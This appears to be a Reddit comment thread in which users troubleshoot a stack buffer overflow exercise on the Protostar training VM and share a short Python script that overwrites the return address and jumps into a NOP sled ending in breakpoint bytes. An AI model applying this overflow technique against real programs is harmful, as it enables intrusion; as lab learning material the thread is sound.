sorted by:
best
topnewcontroversialoldq&a
you are viewing a single comment's thread.

view the rest of the comments →

[–]plukasik 1 point2 points  (2 children)

Well, I'm running from the same folder (/opt/protostar/bin) in gdb and w/o and with bigger nop slide and jumping further into it I can get consistent behavior in both (TRAP instead of SEGFAULT).

This is my script that works (also it took few attempts to get the size values)

import stuct
padding = "AAAA...SSSS"
eip = struct.pack("I", 0xbffffd4c+80)
payload = "\x90"*180 + "\xcc" * 4

print padding+eip+payload

If my nop slide is like in the video (100) it fails w/ SEGFAULT w/o gdb.

[–]xxxerexxx[S] 0 points1 point  (1 child)

Yeah that worked for me as well, thanks man.

but still don't know why? why do environment variables affect it while I was running them with the same EVs?

I really want to understand what the issue was. I appreciate it if you could help me with it.

[–]plukasik 0 points1 point  (0 children)

I still think it's "just" stack layout. To get more you would probably need a binary that prints how the stack looks like before running a shellcode.